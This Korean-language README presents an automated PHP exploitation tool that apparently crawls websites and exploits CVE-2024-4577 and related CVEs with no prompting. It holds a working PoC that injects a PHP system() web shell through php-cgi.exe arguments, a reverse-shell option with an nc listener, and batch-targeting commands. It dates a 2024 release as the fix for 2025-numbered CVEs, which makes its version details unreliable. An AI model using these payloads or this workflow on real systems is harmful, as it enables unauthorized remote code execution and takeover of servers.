🚀 PHP CVE Autopilot

취약한 PHP CVE(CVE-2024-4577 우회, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178) 자동 탐지 및 익스플로잇

PHP8.1.x_Exploit.sh는 단일 파일, 설정 불필요 보안 평가 도구로, 2024년 12월에 출시된 PHP 8.1.34 이전 버전에 영향을 미치는 4가지 고영향 CVE를 자동으로 발견하고 익스플로잇합니다. 수동 페이로드 제작이 필요 없습니다. URL만 제공하면 스크립트가 크롤링부터 원격 코드 실행까지 모든 작업을 수행합니다. 완전 자동 조종(Autopilot) – 사용자 프롬프트 없이 자동 탐지 및 익스플로잇합니다.

기능

• 완전 자율 자동 조종 – 단일 URL만 주어지면 사용자 상호작용 없이 크롤링, 핑거프린팅, 테스트 및 익스플로잇을 수행합니다.
• 배치 스캔 – 대상 목록을 제공하고 병렬로 실행합니다.
• 고급 크롤링 – 홈페이지에서 링크와 양식을 추출하여 더 나은 검색을 지원합니다.
• OS 및 PHP 버전 핑거프린팅 – Linux에서 Windows 전용 공격을 방지하고 PHP 버전을 확인합니다.
• CVE-2024-4577 우회 (Windows CGI 인수 주입)
  • 취약한 PHP-CGI 엔드포인트를 탐지하고 익스플로잇합니다.
  • 선택적 리버스 셸(PowerShell 원라이너).
  • 두 가지 주입 방식: 표준 -d 및 소프트 하이픈 %AD 우회.
• CVE-2025-14177 – getimagesize()를 통한 힙 메모리 누수
  • 변조된 JPEG를 동적으로 생성하여 발견된 모든 업로드 엔드포인트에 자동으로 제출합니다.
  • 응답에서 누출된 메모리를 탐지합니다.
• RCE를 통한 심층 로컬 스캔 (CVE-2024-4577이 익스플로잇된 경우)
  • 다음을 테스트하는 경량 PHP 스캐너를 업로드합니다:
    • CVE-2025-14180 – PDO PostgreSQL의 NULL 포인터 역참조.
    • CVE-2025-14178 – array_merge의 정수 오버플로.
• 스마트 크롤링 – CGI 스크립트 및 업로드 페이지를 발견하기 위해 링크와 양식을 추출합니다.
• 병렬 실행 – parallel이 있으면 사용하고, 없으면 우아하게 대체됩니다.
• 상세 및 디버그 모드 – 모든 HTTP 요청과 결정 과정을 확인합니다.
• 보고서 생성 – 모든 결과를 텍스트 파일로 저장합니다.
• 깔끔하고 안전함 – 종료 시 임시 파일이 삭제되고, 타임아웃이 걸림을 방지합니다.

요구 사항

루트 권한이 필요하지 않습니다 – 이 도구는 HTTP 요청만 보내고 선택적으로 리버스 셸을 실행합니다(사용자 시스템에 리스너 필요).

설치

git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh

사용법

단일 대상 (가장 일반적)

./PHP8.1.x_Exploit.sh -u http://target.example.com

리버스 셸과 함께 단일 대상 (CVE-2024-4577)

./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444

사용자 시스템에서 다음을 실행:

nc -lvnp 4444

여러 대상 배치 스캔

./PHP8.1.x_Exploit.sh -l targets.txt --threads 10

targets.txt 예시:

http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com

스캔 전용 모드 (익스플로잇 시도 없음)

./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only

결과를 파일로 저장

./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt

상세 / 디버그 출력

./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug   # 매우 자세함

작동 방식 (단계)

명령줄 옵션 (전체 참조)

상세 CVE 정보

참고: CVE‑2025‑14180 및 CVE‑2025‑14178은 서버 내부에서만 (로컬 테스트) 정확하게 탐지할 수 있습니다. 스크립트는 CGI 익스플로잇 성공 후 스캐너를 업로드하여 이를 달성합니다.

📸 예제 출력

[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)

===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================

⚠️ 중요 경고 및 면책 조항

• 자동 조종 모드 – 이 도구는 프롬프트 없이 자동으로 취약점을 익스플로잇합니다. 승인된 대상에서만 사용하십시오.
• 법적 용도로만 사용 – 이 도구는 승인된 보안 평가, 침투 테스트 및 교육 목적으로 사용됩니다. 허가 없이 시스템에 대해 사용하는 것은 대부분의 관할권에서 불법입니다.
• 보증 없음 – 이 소프트웨어는 어떠한 종류의 보증 없이 "있는 그대로" 제공됩니다.
• 손상 가능성 – 익스플로잇은 서비스를 중단시키거나(CVE-2025-14180) 메모리를 손상시킬 수 있습니다(CVE-2025-14178). 명시적 동의 없이 프로덕션 시스템에서 실행하지 마십시오.
• 리버스 셸 – --revshell 옵션은 대상에서 사용자 시스템으로 소켓을 엽니다. 다시 연결할 권한이 있는지 확인하십시오.
• 로깅 – 사용자의 요청은 대상의 액세스/오류 로그에 나타납니다. 책임감 있게 사용하십시오.

🛠️ 문제 해결

🤝 기여

풀 리퀘스트, 버그 리포트 및 기능 제안을 환영합니다. 다음을 따라주십시오:

• 스크립트를 단일 파일로 유지하고 순수 Bash로 유지하십시오.
• parallel이 있는 경우와 없는 경우 모두 테스트하십시오.
• 이 README를 그에 따라 업데이트하십시오.

📜 라이선스

GNU General Public License v3.0 – LICENSE 파일을 참조하십시오.

📚 참고 자료

• PHP 8.1.34 릴리스 공지
• CVE-2024-4577 상세 정보 (NVD)
• CVE-2025-14177 / 14178 / 14180 (NVD)
• Windows Best-Fit 문자 매핑

보안 커뮤니티를 위해 🧠로 제작되었습니다. 윤리적으로 사용하십시오.